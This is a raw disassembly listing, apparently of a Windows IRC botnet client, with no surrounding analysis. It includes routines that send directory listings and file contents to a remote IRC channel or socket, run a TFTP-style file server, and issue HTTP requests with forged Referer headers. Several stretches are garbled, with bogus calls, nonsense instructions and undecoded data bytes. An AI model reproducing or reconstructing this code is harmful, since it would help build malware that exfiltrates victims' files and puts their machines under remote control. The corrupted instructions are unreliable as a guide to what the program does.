sub_4126F0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_433B18 ; send cmp [ebp+arg_C], ebx jz short loc_404BF6 push [ebp+arg_C] call sub_4126F0 cmp eax, 2 pop ecx jbe short loc_404BF6 push [ebp+arg_C] call sub_4126F0 sub eax, 3 pop ecx jz short loc_404BAA loc_404B9E: ; CODE XREF: sub_404A02+1A6j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_404BAA dec eax jnz short loc_404B9E loc_404BAA: ; CODE XREF: sub_404A02+19Aj ; sub_404A02+1A3j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_413710 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41246A add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_433B18 ; send loc_404BF6: ; CODE XREF: sub_404A02+17Ej ; sub_404A02+18Cj lea eax, [ebp+var_388] push eax push edi call dword_41D094 ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call dword_41D090 ; FindNextFileA test eax, eax jz loc_404FE7 mov edi, 1FFh loc_404C22: ; CODE XREF: sub_404A02+5DFj cmp [ebp+var_388], ebx jz loc_404FCF lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_412310 pop ecx test eax, eax pop ecx jz loc_404FCF lea eax, [ebp+var_35C] push offset a__0 ; "." push eax call sub_412310 pop ecx test eax, eax pop ecx jz loc_404FCF lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call near ptr 0AB0000h inc esp lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call near ptr 0AB0000h xor esp, [esi-75h] inc ebp lock mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_404C97 mov ecx, offset aAm ; "AM" loc_404C97: ; CODE XREF: sub_404A02+28Ej cmp ax, 0Ch movzx eax, ax jbe short loc_404CA3 sub eax, 0Ch loc_404CA3: ; CODE XREF: sub_404A02+29Cj push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_411EEE add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_404E50 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_404D24 lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41246A lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_41246A add esp, 28h jmp loc_404FA0 ; --------------------------------------------------------------------------- loc_404D24: ; CODE XREF: sub_404A02+2DBj cmp [ebp+arg_C], ebx jz loc_404E0E push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41246A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_433B18 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41246A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_433B18 ; send lea eax, [ebp+var_35C] push eax call sub_4126F0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_404DC4 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_404DC9 ; --------------------------------------------------------------------------- loc_404DC4: ; CODE XREF: sub_404A02+3B9j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_404DC9: ; CODE XREF: sub_404A02+3C0j lea eax, [ebp+var_248] push edi push eax call sub_41246A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_433B18 ; send lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_404F91 ; --------------------------------------------------------------------------- loc_404E0E: ; CODE XREF: sub_404A02+325j lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41246A lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_404E3B: ; CODE XREF: sub_404A02+476j lea eax, [ebp+var_248] push esi push eax call sub_41246A add esp, 24h jmp loc_404FA0 ; --------------------------------------------------------------------------- loc_404E50: ; CODE XREF: sub_404A02+2CFj inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_404E7A push ebx push [ebp+var_368] call sub_409684 push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_404E3B ; --------------------------------------------------------------------------- loc_404E7A: ; CODE XREF: sub_404A02+454j cmp [ebp+arg_C], ebx jz loc_404F7A push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41246A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_433B18 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_2 ; "%s%s" push edi push eax call sub_41246A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_433B18 ; send lea eax, [ebp+var_35C] push eax call sub_4126F0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_404F1A push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_404F1F ; --------------------------------------------------------------------------- loc_404F1A: ; CODE XREF: sub_404A02+50Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_404F1F: ; CODE XREF: sub_404A02+516j lea eax, [ebp+var_248] push edi push eax call sub_41246A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_433B18 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_41246A add esp, 1Ch jmp short loc_404FA0 ; --------------------------------------------------------------------------- loc_404F7A: ; CODE XREF: sub_404A02+47Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_404F91: ; CODE XREF: sub_404A02+407j lea eax, [ebp+var_248] push eax call sub_41246A add esp, 18h loc_404FA0: ; CODE XREF: sub_404A02+31Dj ; sub_404A02+449j ... lea eax, [ebp+var_248] push ebx push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_433B18 ; send cmp [ebp+arg_8], ebx jz short loc_404FCF push 7D0h call dword_41D05C ; Sleep loc_404FCF: ; CODE XREF: sub_404A02+226j ; sub_404A02+241j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call dword_41D090 ; FindNextFileA test eax, eax jnz loc_404C22 loc_404FE7: ; CODE XREF: sub_404A02+215j push [ebp+arg_0] call near ptr 0AB0000h mov ds:74105D39h, eax xor eax, 99F8458Bh push edx push eax call sub_409684 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_409684 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_411EEE add esp, 14h jmp short loc_40505E ; --------------------------------------------------------------------------- cmp [ebp+arg_C], ebx jz short loc_405044 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_411EEE pop ecx pop ecx jmp short loc_40505E ; --------------------------------------------------------------------------- loc_405044: ; CODE XREF: sub_404A02+62Bj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_411EEE add esp, 10h loc_40505E: ; CODE XREF: sub_404A02+626j ; sub_404A02+640j lea eax, [ebp+var_248] push ebx push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_433B18 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_404A02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405084 proc near ; CODE XREF: sub_4045D0+13Bp var_4037C = byte ptr -4037Ch var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call dword_41D07C ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40513C push esi push ebx call near ptr 0AB0000h mov edi, [ebx] mov byte ptr [ecx+6C740C45h], 68h ; CODE XREF: sub_405084+AFj add [eax+eax], al add [ebp-4037Bh], cl call dword ptr [esi+50h] call sub_411F70 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_4050E6 mov edi, [ebp+arg_4] loc_4050E6: ; CODE XREF: sub_405084+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call dword_41D09C ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call dword_41D098 ; ReadFile push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_433B18 ; send cmp eax, 0FFFFFFFFh jnz short loc_405130 call dword_433A5C ; WSAGetLastError cmp eax, 2733h jnz short loc_405135 xor eax, eax loc_405130: ; CODE XREF: sub_405084+9Bj sub [ebp+arg_4], eax jnz short near ptr loc_4050C3+6 loc_405135: ; CODE XREF: sub_405084+A8j push ebx call dword_41D074 ; CloseHandle loc_40513C: ; CODE XREF: sub_405084+30j pop edi pop esi pop ebx leave retn sub_405084 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_405141 proc near ; CODE XREF: .nsp0:004048CEp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_4126F0 test eax, eax pop ecx jbe short loc_40516A loc_405154: ; CODE XREF: sub_405141+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_40515E mov byte ptr [esi+edi], 2Fh loc_40515E: ; CODE XREF: sub_405141+17j push edi inc esi call sub_4126F0 cmp esi, eax pop ecx jb short loc_405154 loc_40516A: ; CODE XREF: sub_405141+11j mov eax, edi pop edi pop esi retn sub_405141 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40516F proc near ; CODE XREF: .nsp0:0040C9F7p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_433A40 ; WSAStartup push 6 push 1 push 2 call dword_433B48 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_411F70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_433AC8 ; ntohs push [ebp+arg_10] mov [ebp+var_E], ax call sub_407F2F pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_433A70 ; connect cmp eax, 0FFFFFFFFh jz short loc_40524C mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_4051E8 mov eax, offset byte_432708 loc_4051E8: ; CODE XREF: sub_40516F+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41246A add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_433B18 ; send push esi lea eax, [ebp+var_110] push edi push eax call sub_411FD0 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_433AE0 ; recv pop esi loc_40524C: ; CODE XREF: sub_40516F+6Bj push ebx call dword_433B60 ; closesocket call dword_433A28 ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_411EEE cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_40528C push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 14h loc_40528C: ; CODE XREF: sub_40516F+102j pop edi pop ebx leave retn sub_40516F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405290 proc near ; CODE XREF: sub_405290:loc_40577Bp ; DATA XREF: .nsp0:004059CFo var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_433B48 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_405353 push 190h call dword_41D05C ; Sleep call dword_433A5C ; WSAGetLastError push eax lea eax, [ebp+var_780] push offset unk_422808 push eax call sub_411EEE add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_405333 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40F9F1 add esp, 14h loc_405333: ; CODE XREF: sub_405290+7Ej lea eax, [ebp+var_780] push eax call sub_408E17 push [ebp+var_170] call sub_411CB6 pop ecx pop ecx push ebx call near ptr 0AB0000h push es loc_405353: ; CODE XREF: sub_405290+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov dword_438C64[eax], edi lea eax, [ebp+var_44] push eax call sub_411F70 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_433AC8 ; ntohs mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_433AF4 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4053B8 push 1388h call dword_41D05C ; Sleep dec [ebp+var_16C] push [ebp+arg_0] jmp loc_40577B ; --------------------------------------------------------------------------- loc_4053B8: ; CODE XREF: sub_405290+10Dj lea eax, [ebp+var_378] push offset aRb ; "rb" push eax call sub_4125E8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_405436 push 190h call dword_41D05C ; Sleep lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset unk_4227B8 push eax call sub_411EEE push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40F9F1 lea eax, [ebp+var_780] push eax call sub_408E17 push [ebp+var_170] call sub_411CB6 add esp, 28h push ebx call near ptr 0AB0000h pop esi loc_405436: ; CODE XREF: sub_405290+140j mov esi, 200h loc_40543B: ; CODE XREF: sub_405290+4A5j mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_40573B mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_411F70 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call dword_433AB0 ; select test eax, eax jle loc_40572F mov al, byte_432708 mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_433AA0 ; recvfrom push [ebp+var_28] mov [ebp+var_C], eax call dword_433B54 ; inet_ntoa push eax lea eax, [ebp+var_58] push eax call sub_411EEE cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_405719 cmp [ebp+var_D7], 1 jnz loc_405665 lea eax, [ebp+var_274] push eax call sub_4126F0 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_4126F0 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_4138A0 add esp, 14h test eax, eax jnz loc_40561F lea eax, [ebp+var_1C] push eax call sub_4126F0 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_4138A0 add esp, 10h test eax, eax jnz loc_40561F push ebx push ebx push [ebp+var_8] call sub_41380E push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_413580 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call dword_433B2C ; sendto lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset unk_422764 loc_4055D3: ; CODE XREF: sub_405290+484j lea eax, [ebp+var_780] push eax call sub_411EEE add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_40560D push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40F9F1 add esp, 14h loc_40560D: ; CODE XREF: sub_405290+358j lea eax, [ebp+var_780] push eax call sub_408E17 pop ecx jmp loc_40572F ; --------------------------------------------------------------------------- loc_40561F: ; CODE XREF: sub_405290+2B6j ; sub_405290+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_422750 push edi call dword_433B2C ; sendto lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset unk_422714 push eax call sub_411EEE lea eax, [ebp+var_D8] push eax call sub_408E17 add esp, 14h jmp loc_40572F ; --------------------------------------------------------------------------- loc_405665: ; CODE XREF: sub_405290+275j cmp [ebp+var_D7], 4 jnz loc_405719 mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_4056A2 inc al xor cl, cl mov [ebp+var_57E], al mov [ebp+var_57D], bl jmp short loc_4056B0 ; --------------------------------------------------------------------------- loc_4056A2: ; CODE XREF: sub_405290+3FEj inc cl mov [ebp+var_57E], al mov [ebp+var_57D], cl loc_4056B0: ; CODE XREF: sub_405290+410j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_41380E push [ebp+var_8] lea eax, [ebp+var_57C] push esi push 1 push eax call sub_413580 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_580] push eax push [ebp+var_10] call dword_433B2C ; sendto cmp edi, ebx jnz short loc_40572F lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_4226C4 jmp loc_4055D3 ; --------------------------------------------------------------------------- loc_405719: ; CODE XREF: sub_405290+268j ; sub_405290+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_4226B8 push edi call dword_433B2C ; sendto loc_40572F: ; CODE XREF: sub_405290+204j ; sub_405290+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_40543B loc_40573B: ; CODE XREF: sub_405290+1B4j push edi call dword_433B60 ; closesocket push [ebp+var_8] call sub_412540 mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short near ptr loc_40576E+1 push [ebp+var_170] call sub_411CB6 pop ecx push ebx call near ptr 0AB0000h loc_40576E: ; CODE XREF: sub_405290+4CAj and al, 68h call near ptr 0FF405778h adc eax, offset dword_41D05C push esi loc_40577B: ; CODE XREF: sub_405290+123j call sub_405290 pop edi pop esi pop ebx leave retn 4 sub_405290 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405787 proc near ; CODE XREF: .nsp0:0040F530p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_42298C push eax xor ebx, ebx call sub_411EEE cmp dword_422880, ebx pop ecx pop ecx mov edi, 200h jz short loc_4057F5 push esi mov esi, offset dword_422888 loc_4057BA: ; CODE XREF: sub_405787+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_411EEE lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_4138E0 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_4057BA pop esi loc_4057F5: ; CODE XREF: sub_405787+2Bj push dword_461F48 call sub_408886 push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_411EEE lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_4138E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 lea eax, [ebp+var_200] push eax call sub_408E17 add esp, 38h pop edi pop ebx leave retn sub_405787 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405851 proc near ; CODE XREF: .nsp0:0040EEB9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_411BE2 test eax, eax pop ecx jle short loc_40588D mov eax, [ebp+arg_C] push dword_432718[eax*8] call dword_433B54 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset unk_4229F8 push eax call sub_411EEE add esp, 0Ch jmp short loc_4058A0 ; --------------------------------------------------------------------------- loc_40588D: ; CODE XREF: sub_405851+13j lea eax, [ebp+var_200] push offset unk_4229C4 push eax call sub_411EEE pop ecx pop ecx loc_4058A0: ; CODE XREF: sub_405851+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 lea eax, [ebp+var_200] push eax call sub_408E17 add esp, 18h leave retn sub_405851 endp ; --------------------------------------------------------------------------- loc_4058C8: ; CODE XREF: sub_405FF1+4Fp push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+138h] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_405C58 imul eax, 3Ch xor ebx, ebx cmp dword_42288C[eax], ebx jz loc_405B39 push 4 call sub_411BE2 test eax, eax pop ecx jnz loc_405C58 mov eax, dword_425B58 push edi mov edi, offset dword_433094 push 104h push edi push ebx mov dword_4332A4, eax mov dword_4332A0, ebx call near ptr 0AB0000h xchg eax, ebp push 103h mov esi, offset dword_433198 push offset byte_425BC0 push esi call sub_413710 mov eax, [ebp+118h] add esp, 0Ch cmp [ebp+98h], bl mov dword_433090, eax mov eax, [ebp+140h] push 7Fh mov dword_433328, eax jnz short loc_40597B lea eax, [ebp+18h] push eax push offset dword_4332A8 call sub_413710 add esp, 0Ch mov dword_43332C, 1 jmp short loc_405995 ; --------------------------------------------------------------------------- loc_40597B: ; CODE XREF: .nsp0:0040595Cj lea eax, [ebp+98h] push eax push offset dword_4332A8 call sub_413710 add esp, 0Ch mov dword_43332C, ebx loc_405995: ; CODE XREF: .nsp0:00405979j push esi push edi push dword_4332A4 lea eax, [ebp-204h] push offset unk_422BA4 push eax call sub_411EEE push ebx lea eax, [ebp-204h] push 4 push eax call sub_41199A add esp, 20h mov dword_43329C, eax lea eax, [ebp-4] push eax push ebx push offset dword_433090 push offset sub_405290 push ebx push ebx call dword_41D070 ; CreateThread mov ecx, dword_43329C imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_405A04 loc_4059F2: ; CODE XREF: .nsp0:00405A02j cmp dword_433330, ebx jnz short loc_405A1F push 32h call dword_41D05C ; Sleep jmp short loc_4059F2 ; --------------------------------------------------------------------------- loc_405A04: ; CODE XREF: .nsp0:004059F0j call dword_41D06C ; RtlGetLastWin32Error push eax lea eax, [ebp-204h] push offset unk_422B5C push eax call sub_411EEE add esp, 0Ch loc_405A1F: ; CODE XREF: .nsp0:004059F8j lea eax, [ebp-204h] push eax call sub_408E17 mov edi, offset dword_4336EC mov dword ptr [esp], 104h push edi push ebx mov dword_4338F8, ebx call near ptr 0AB0000h js short loc_405AAE add eax, [ecx] ; --------------------------------------------------------------------------- dd 0F0BE0000h, 68004337h, 425BC0h, 0DCB6E856h, 858B0000h dd 118h, 380CC483h, 989Dh, 36E8A300h, 858B0043h, 140h dd 80A37F6Ah, 75004339h, 18458D1Dh, 39006850h, 85E80043h dd 830000DCh, 5C70CC4h, 433984h, 1, 858D1AEBh, 98h, 39006850h dd 65E80043h, 830000DCh db 0C4h, 0Ch ; --------------------------------------------------------------------------- loc_405AAE: ; CODE XREF: .nsp0:00405A44j mov dword_433984, ebx push esi push edi push dword_4338FC lea eax, [ebp-204h] push offset dword_422B08 push eax call sub_411EEE push ebx lea eax, [ebp-204h] push 5 push eax call sub_41199A add esp, 20h mov dword_4338F4, eax lea eax, [ebp-4] push eax push ebx push offset dword_4336E8 push offset sub_403A5B push ebx push ebx call dword_41D070 ; CreateThread mov ecx, dword_4338F4 pop edi imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_405B28 loc_405B12: ; CODE XREF: .nsp0:00405B26j cmp dword_433988, ebx jnz loc_405C4B push 32h call dword_41D05C ; Sleep jmp short loc_405B12 ; --------------------------------------------------------------------------- loc_405B28: ; CODE XREF: .nsp0:00405B10j call dword_41D06C ; RtlGetLastWin32Error push eax push offset dword_422AC4 jmp loc_405C3C ; --------------------------------------------------------------------------- loc_405B39: ; CODE XREF: .nsp0:004058EDj cmp dword_422890[eax], ebx jz loc_405C58 push 3 call sub_411BE2 test eax, eax pop ecx jnz loc_405C58 mov esi, offset dword_4335C4 push 104h push esi push ebx call near ptr 0AB0000h jbe short near ptr loc_405BCF+3 pop esp push esi call sub_413A10 pop ecx cmp eax, ebx pop ecx jz short loc_405B77 mov [eax], bl loc_405B77: ; CODE XREF: .nsp0:00405B73j mov eax, dword_425B5C mov dword_4336DC, ebx mov dword_4336C8, eax lea eax, [ebp+18h] push eax push offset dword_43333C call sub_411EEE mov eax, [ebp+118h] pop ecx pop ecx mov dword_433338, eax mov ecx, [ebp+140h] push esi push dword_4336C8 mov dword_4336D4, ecx mov ecx, [ebp+144h] push eax mov dword_4336D8, ecx call sub_408045 pop ecx push eax lea eax, [ebp-204h] loc_405BCF: ; CODE XREF: .nsp0:00405B66j push offset unk_422A74 push eax call sub_411EEE push ebx lea eax, [ebp-204h] push 3 push eax 